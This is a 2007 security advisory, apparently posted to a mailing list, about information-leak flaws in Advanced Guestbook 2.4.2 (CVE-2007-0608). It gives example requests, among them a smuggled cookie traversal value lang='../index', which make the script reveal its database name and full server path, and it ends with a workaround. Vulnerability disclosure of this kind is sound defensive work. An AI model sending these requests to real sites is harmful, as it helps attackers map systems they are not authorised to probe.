<<< Date Index >>>     <<< Thread Index >>>

Advanced Guestbook version 2.4.2 Multiple Error Information Leak Vulnerabilities



        netVigilance Security Advisory #11

Advanced Guestbook version 2.4.2 Multiple Error Information Leak 
Vulnerabilities 

Description:
Advanced Guestbook is a PHP-based guestbook script. It includes many useful 
features such as preview, templates, e-mail notification, picture upload, page 
spanning , html tags handling, smiles, advanced guestbook codes and language 
support. The admin script lets you modify, view, and delete messages. Requires 
PHP4 and MySQL.
Security problems in the product allow attackers to gather the true path of the 
server-side script and get the database name.
External References: 
Mitre CVE: CVE-2007-0608
NVD NIST: CVE-2007-0608
OSVDB:  33876
Summary: 
Advanced Guestbook is a PHP-based guestbook with admin interface.
Security problems in the product allows attackers to gather the true path of 
the server-side script and get the database name. 
This vulnerabilities can be exploited only when PHP register_globals is On.

Advisory URL: 
http://www.netvigilance.com/advisory0011
Release Date:
05/07/2007
Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated 
 
Vulnerability Impact: Attack
Host Impact: Information disclosure, path disclosure.


SecureScout Testcase ID:
 

Vulnerable Systems:
Advanced Guestbook 2.4.2

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even 
Fatal Errors. Also there exist a possibility to disclose the database name in 
the error information messages.
Vendor Status: 
Contact with the Vendor was established but draft of the security advisory 
wasn't provided because the Vendor stopped responding to our emails on 9 March 
2007. There is no official fix at the release of this Security Advisory
Workaround:
Set PHP register_globals to Off. Disable warning messages: modify in the 
php.ini file following line: display_errors = Off. Or modify .htaccess file 
(this will work only for the apache servers).

Example: 
Error Information Leak 1:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/lang/codes-english.php?GB_TBL=123
REPLY:
Error Number: 1146 Table '[DATABASE NAME].b' doesn't exist
Date        : Thu, January 4, 2007 13:40:11
IP          : 212.98.173.35
Browser     : Opera/9.01 (Windows NT 5.0; U; ru)
Referer     : 
PHP Version : 4.4.4
OS          : Linux
Server      : Apache/2.2.3
Server Name : proxy2.de
Error Information Leak 2:
Database Name Disclosure
REQUEST:
http://[TARGET]/[GUETBOOK-FOLDER]/image.php?id=1&GB_TBL=123
REPLY:
<b><font size=4 face=Arial>Query Error</font></b><hr><pre>MySQL Error : Query 
Error
Error Number: 1146 Table '[DISCLOSURE RESULT - DATABASE NAME].b' doesn't exist
Date        : Mon, January 8, 2007 16:58:56
IP          : 212.98.173.35
Browser     : Opera/9.01 (Windows NT 5.0; U; ru)
Referer     : 
PHP Version : 4.4.4
OS          : Linux
Server      : Apache/2.2.3
Server Name : proxy2.de
</pre>
Error Information Leak 3:
Path Disclosure Vulnerability 
REQUEST:
At first set in the COOKIES variable lang = "../index" for the target web-site
http://[TARGET]/[guestbook-directory]/index.php?GB_DB=123

REPLY:
<b>Warning</b>:  mysql_connect() [<a 
href='function.mysql-connect'>function.mysql-connect</a>]: 
Unknown MySQL server host '-' (1) in <b>[FULL PATH TO FILE]/mysql.class.php</b> 
on line <b>30</b><br />
<b><font size=4 face=Arial>Connection Error</font></b><hr><pre>MySQL Error : 
Connection Error
Error Number: 2005 Unknown MySQL server host '-' (1)
Date        : Thu, January 4, 2007 13:42:18
IP          : 212.98.173.35
Browser     : Opera/9.01 (Windows NT 5.0; U; ru)
Referer     : 
PHP Version : 4.4.4
OS          : Linux
Server      : Apache/2.2.3
Server Name : ServerName.de
Error Information Leak 4:
Path Disclosure Vulnerability
REQUEST:
http://[TARGET]/[guestbook-directory]/index.php
REPLY:
<br /><b>Notice</b>:  Undefined variable: DB_CLASS in <b>[FULL PATH TO 
FILE]\rs\gb\index.php</b> on line <b>4</b><br />
<br /><b>Warning</b>:  main([FULL PATH TO FILE]\rs\gb/lib/) [<a 
href='function.main'>function.main </a>]: failed to open stream: Permission 
denied in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> on line <b>4</b><br /><br 
/>
<b>Fatal error</b>:  main() [<a href='function.require'>function.require</a>]: 
Failed opening required '[FULL PATH TO FILE] \rs\gb/lib/' 
(include_path='.;C:\php5\pear') in <b>[FULL PATH TO FILE]\rs\gb\index.php</b> 
on line <b>4</b><br />
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com